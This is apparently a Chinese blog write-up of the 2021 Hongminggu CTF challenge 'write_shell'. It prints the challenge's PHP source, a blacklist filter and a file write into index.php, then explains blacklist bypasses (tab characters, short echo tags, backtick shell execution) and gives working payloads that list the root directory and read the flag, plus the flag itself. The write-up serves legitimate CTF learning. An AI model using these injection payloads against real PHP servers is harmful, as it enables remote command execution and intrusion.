[紅明谷CTF 2021]write_shell

m1saka1發表於2024-11-11

開啟靶機,先上原始碼

<?php
// 禁止顯示所有錯誤資訊
error_reporting(0);

// 高亮顯示當前檔案的程式碼(用於除錯)
highlight_file(__FILE__);

// check函式用於檢查使用者輸入是否包含危險字元或關鍵詞
function check($input){
    // 使用正規表示式檢查是否包含危險字元或關鍵字
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // 如果包含危險字元,則終止執行,並顯示"hacker!!!"的提示資訊
        die('hacker!!!');
    }else{
        // 如果沒有危險字元,則返回輸入
        return $input;
    }
}

// waf函式用於對輸入進行安全檢查
function waf($input){
  // 如果輸入是陣列,則遞迴處理陣列中的每一個元素
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);  // 遞迴呼叫waf函式
      }
  }else{
      // 如果輸入不是陣列,則對該輸入進行check函式檢查
      $input = check($input);
  }
}

// 定義目錄路徑:基於使用者的IP地址建立一個唯一的目錄
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

// 如果目錄不存在,則建立該目錄
if(!file_exists($dir)){
    mkdir($dir);
}

// 根據傳入的action引數執行不同的操作
switch($_GET["action"] ?? "") {
    case 'pwd':
        // 如果action引數為'pwd',則返回當前目錄路徑
        echo $dir;
        break;
    case 'upload':
        // 如果action引數為'upload',則獲取data引數的內容
        $data = $_GET["data"] ?? "";
        
        // 呼叫waf函式進行輸入檢查
        waf($data);
        
        // 將處理後的資料寫入到指定目錄下的index.php檔案中
        file_put_contents("$dir" . "index.php", $data);
}
?>

先用?action=pwd檢視目錄,記下訪問該目錄,訪問該目錄下index.php就是我們即將寫入程式碼的目標檔案
再講講寫入,過濾的幾個關鍵就是空格,php,; 一個一個來
空格過濾能用%09或\t來繞過,這兩個符號都代表製表符,也就是平常使用的Tab鍵,四個空格
php主要針對php格式,換成<?= ?>就行了
至於;其實不用考慮 ?>會自動對最後一行起到;的作用
提一嘴php中 括起來的內容被認為是程式碼
構建payload:

?action=upload&data=<?=`ls\t/`?>`

在根目錄裡找到了flag,最終payload:

?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>

flag{9f8b8390-ba06-4db5-a2b4-f5fbf71b6f0e}

相關文章